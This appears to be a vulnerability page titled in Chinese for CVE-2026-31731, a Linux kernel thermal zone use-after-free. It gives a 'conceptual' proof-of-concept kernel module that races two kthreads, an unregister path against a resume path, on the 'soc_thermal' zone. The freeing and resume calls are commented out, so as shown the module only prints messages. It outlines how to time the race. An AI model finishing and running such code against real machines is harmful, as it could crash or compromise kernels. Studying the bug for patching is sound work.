CVE-2026-31731 Linux内核热管理区释放后重用漏洞

/* * Conceptual PoC for CVE-2026-31731 * Triggering race condition between thermal_zone_device_unregister and resume */ #include <linux/module.h> #include <linux/kthread.h> #include <linux/thermal.h> static struct thermal_zone_device *target_tz; // Simulate the resume path that re-initializes work static int resume_thread(void *data) { msleep(50); // Timing tweak to race with unregister if (target_tz) { // This simulates thermal_zone_device_resume re-initializing poll_queue // while unregister is happening printk(KERN_INFO "PoC: Triggering thermal resume logic..."); // thermal_zone_device_resume(target_tz); // Internal kernel call simulation } return 0; } // Simulate the unregister path that frees the object static int unregister_thread(void *data) { msleep(55); // Timing tweak if (target_tz) { printk(KERN_INFO "PoC: Unregistering thermal zone..."); // thermal_zone_device_unregister(target_tz); // Frees target_tz target_tz = NULL; } return 0; } int init_module(void) { // In a real scenario, find a vulnerable thermal zone target_tz = thermal_zone_get_zone_by_name("soc_thermal"); if (!IS_ERR(target_tz)) { kthread_run(resume_thread, NULL, "poc_resume"); kthread_run(unregister_thread, NULL, "poc_unregister"); } return 0; } void cleanup_module(void) { printk(KERN_INFO "PoC unloaded."); } MODULE_LICENSE("GPL");